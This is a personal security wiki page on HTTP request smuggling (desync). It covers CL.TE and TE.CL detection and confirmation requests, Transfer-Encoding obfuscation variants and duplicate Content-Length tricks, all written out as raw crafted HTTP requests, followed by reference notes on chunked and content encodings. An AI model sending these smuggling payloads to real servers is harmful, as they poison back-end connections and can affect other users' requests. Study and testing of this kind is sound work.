Wiki : ./Security/Web/http_resync.md

HTTP Resync

Portswigger

Frontend doesn't support chunked

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0

GPOST / HTTP/1.1
Host: example.com

Frontend support chunked but backend doesn't

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked

6
PREFIX
0

Post / HTTP/1.1
Host: example.com

Different Transfer-Encoding masking

Transfer-Encoding: xchunked Transfer-Encoding: chunked Transfer-Encoding: \tchunked Transfer-Encoding: chunked Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding\n: chunked

Detecting HTTP Resync

								       +=================+
+===============+      +===============+       +==============+        |                 |
|               |      |               |       |              |        |  Store          |
|  Detect       |======|    Confirm    |=======| Explore      |========+=================+
|               |      |               |       |              |        |                 |
+===============+      +===============+       +==============+        |  Attack         |
                                                                       +=================+

CL.TE Content-Length / Transfer-Encoding

If the following request gets processed by the front-end server it will only forward until the Z character due to the low Content-Length value. The backend will time out while waiting for the next chunk size. This will cause an observable time delay.

If both server are in sync (TE.TE or CL.CL) the request will either be rejected by the front-end or harmlessly processed by both systems. Finally , if the desync occurs the other way around (TE.CL) the front-end will reject the massage without ever forwarding it to the back-end, thanks to the invalid chunk size Q. This prevents the back-end socket from being poisoned.

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4

1\r\n
Z\r\n
Q

We can also safely detect TE.CL desync using the following request:

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6

0                    # chunk size indicator

X

Thanks to the terminating '0' chunk, the front-end will only forward the blue text and the back-end will time out waiting for the X to arrive. If the desync happens the other way around (CL.TE) then this approach will poison the back-end socket with an X, potentially harming legitimate users. ##RUN THE OTHER REQUEST FIRST!##

Confirm

Requests need to be similar as possible.

CL.TE poisoning

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: zchunked

17
=x&q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
...

TE.CL poisoning

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked

96
GET /404 HTTP/1.1
X: x=1&q=smuggling&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

x=
0

POST /search HTTP/1.1
Host: example.com
...

Request smuggling .......

If the client sends the following request:

POST / HTTP/1.1\r\n
HOST: example.com\r\n
Content-Length: 6\r\n
Content-Lenght: 5\r\n
\r\n
12345GPOST / HTTP/1.1\r\n
Host: example.com
...

The frontend forwards everything to the backend who might in turn just interprets just the Content-Length: 6 header which leaves the backend poisoned. This attack rarely works.

RFC2616

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Lenght header

Content-Length: <length(dec)>

Directives

Length

The length in decimal number of octets including \r\n

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 6
\r\n                    # Indicates start of body
0\r\n                   # \r\n will also be counted
\r\n
A

Transfer-Encoding

// not available in HTTP/2

Transfer-Encoding is a hop-by-hop header that is applied to a message between two nodes, not to a resource itself. When present on a response to a HEAD request hat has no body, it indicates the value that would have applied to the corresponding GET message.

Directives

chunked

The Content-Length header is omitted in this case and the beginning of each chunk you need to add the length of the current chunk in hexadecimal format followed by \r\n and then the chunk itself, followed by another \r\n. The terminating chunk is a regular chunk, with the exception that its length is zero. It is followed by the trailer, which consists of a (possibly empty) sequence of header fields

GET / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked

4\r\n
TEST\r\n
7\r\n
CHUNKED\r\n
0\r\n
\r\n
compress

A format using the Lempel-Ziv-Welch (LZW) algorithm. The value name was taken from the UNIX compress program, which implemented this algorithm. Like the compress program, which has disappeared from most UNIX distributions, this content-encoding is used by almost no browsers today, partly because of a patent issue

deflate

Using the zlib structure (RFC 1950), with the deflate compression algorithm.

gzip

A format using the Lempel-Ziv coding, with 32-bit CRC. This is originally the format of the UNIX gzip tool. The HTTP/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias.

identity

//TODO READ more about it Indicates the identity function. This token, except if explicitly specified, is always deemed acceptable.